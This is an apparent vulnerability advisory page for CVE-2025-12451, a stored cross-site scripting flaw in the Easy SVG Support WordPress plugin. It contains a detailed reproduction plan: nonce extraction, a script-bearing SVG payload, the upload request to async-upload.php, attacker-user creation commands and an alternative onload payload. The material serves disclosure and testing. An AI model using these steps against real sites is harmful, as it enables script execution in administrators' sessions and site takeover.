Easy SVG Support <= 4.0 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File Upload
Description
The Easy SVG Support plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG file uploads in all versions up to, and including, 4.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the SVG file.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:NTechnical Details
Source Code
WordPress.org SVNThis research plan outlines the steps required to demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the **Easy SVG Support** plugin (CVE-2025-12451). ## 1. Vulnerability Summary The **Easy SVG Support** plugin for WordPress (versions <= 4.0) enables the upload of Scalable Vector Gr…
Show full research plan
This research plan outlines the steps required to demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the Easy SVG Support plugin (CVE-2025-12451).
1. Vulnerability Summary
The Easy SVG Support plugin for WordPress (versions <= 4.0) enables the upload of Scalable Vector Graphics (SVG) files to the WordPress Media Library. The vulnerability exists because the plugin fails to sanitize the contents of uploaded SVG files. Since SVG is an XML-based format, it can contain embedded <script> tags or event handlers (e.g., onload). An authenticated attacker with Author-level permissions or higher can upload a malicious SVG file containing a JavaScript payload. When a user (including an Administrator) views the SVG file directly or through a page where it is embedded, the malicious script executes in the context of their session.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/async-upload.php(Standard WordPress Media Upload endpoint). - Action:
upload-attachment - Vulnerable Parameter: The
async-uploadfile multipart data (specifically the content of the.svgfile). - Authentication: Authenticated, Author level or above (Requires the
upload_filescapability). - Preconditions: The plugin must be active, which extends the allowed MIME types to include
image/svg+xml.
3. Code Flow (Inferred)
- Registration: The plugin registers a filter on
upload_mimesto allow.svgfiles (e.g.,add_filter('upload_mimes', '...)). - Upload: When an Author uploads a file, WordPress processes it via
wp_handle_upload(). - Lack of Sanitization: In version 4.0 and below, the plugin does not hook into
wp_handle_upload_prefilterorwp_check_filetype_and_extto inspect or sanitize the XML content of the SVG for malicious elements like<script>,<foreignObject>, oron*attributes. - Storage: The malicious SVG is saved to the
wp-content/uploadsdirectory. - Execution: The browser renders the SVG as an XML document, executing any embedded JavaScript.
4. Nonce Acquisition Strategy
To upload a file via the standard WordPress media interface, a nonce for the media-form or upload-attachment action is required.
- Login: Authenticate as an Author-level user.
- Navigate to Media New: Use
browser_navigateto go tohttps://[target]/wp-admin/media-new.php. - Extract Nonce:
- The
_wpnonceused forasync-upload.phpis typically localized in thepluploadL10nJavaScript object or can be found in the hidden input fields of the upload form. - Action:
browser_eval("wp.media.view.settings.post.nonce")orbrowser_eval("pluploadL10n.multipart_params._wpnonce").
- The
- Verification: Ensure the nonce is captured before proceeding to the HTTP request.
5. Exploitation Strategy
Step 1: Prepare Payload
Create a malicious SVG file named xss.svg:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert('CVE-2025-12451: ' + document.domain);
</script>
</svg>
Step 2: Upload via http_request
Send a multipart POST request to /wp-admin/async-upload.php.
Request Details:
- Method: POST
- URL:
https://[target]/wp-admin/async-upload.php - Headers:
Content-Type: multipart/form-data; boundary=----Boundary
- Body (Multipart):
name:xss.svgaction:upload-attachment_wpnonce:[EXTRACTED_NONCE]async-upload:[BINARY_CONTENT_OF_SVG]
Step 3: Identify Uploaded URL
The response from async-upload.php will be a JSON object containing the attachment ID and the URL of the file.
Example: {"success":true,"data":{"id":123,"url":"http://.../wp-content/uploads/2023/10/xss.svg", ...}}
Step 4: Execution
Access the URL provided in the JSON response using browser_navigate. The alert should trigger.
6. Test Data Setup
- Plugin Installation: Ensure
easy-svgversion 4.0 is installed and activated. - User Creation: Create a user with the
authorrole.wp user create attacker attacker@example.com --role=author --user_pass=password
- Login: Use the
http_requestorbrowser_navigatetool to log in asattacker.
7. Expected Results
- The upload request should return a
200 OKwith a JSON body indicatingsuccess: true. - The
urlfield in the response should point to the uploaded SVG file. - Navigating to that URL should execute the JavaScript
alert('CVE-2025-12451: ' + document.domain).
8. Verification Steps
- Check File Content: Use WP-CLI to confirm the file exists on disk and contains the script tag.
wp media list --fields=ID,urlcat /var/www/html/wp-content/uploads/[YEAR]/[MONTH]/xss.svg
- Verify via Browser: Use
browser_navigateto the SVG URL and check for the presence of the alert/script execution viabrowser_eval.
9. Alternative Approaches
- Event Handler Payload: If
<script>tags are somehow filtered (unlikely in 4.0), use an event handler:<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"></svg> - Post Meta Embedding: Instead of direct access, embed the SVG into a post as the Author and see if it triggers when an Admin views the post.
wp post create --post_type=post --post_status=publish --post_content='<img src="[URL_TO_SVG]">'- Note: This often fails to execute JS if the SVG is loaded via
<img>tags (browsers disable scripts in<img>context). The most reliable XSS is direct navigation to the SVG or using<iframe src="...">/<embed src="...">.
Summary
The Easy SVG Support plugin for WordPress (versions up to 4.0) allows authenticated users with Author-level permissions or higher to upload SVG files containing malicious JavaScript. Due to a lack of sanitization of the SVG's XML content, an attacker can achieve Stored Cross-Site Scripting (XSS) that triggers whenever a user or administrator views the uploaded file directly.
Exploit Outline
1. Authenticate to the WordPress dashboard as a user with Author-level privileges (possessing the `upload_files` capability). 2. Navigate to the Media Library ('/wp-admin/media-new.php') and extract the current `_wpnonce` for the 'upload-attachment' action from the localized JavaScript (e.g., `wp.media.view.settings.post.nonce`). 3. Create a malicious SVG file containing a JavaScript payload within a `<script>` tag or an XML event handler (e.g., `<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">`). 4. Send a multipart POST request to '/wp-admin/async-upload.php' with the action set to 'upload-attachment', the captured nonce, and the malicious SVG file. 5. Capture the URL of the uploaded SVG file from the server's JSON response. 6. Navigate directly to the SVG URL in the browser to execute the payload in the context of the site's domain.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.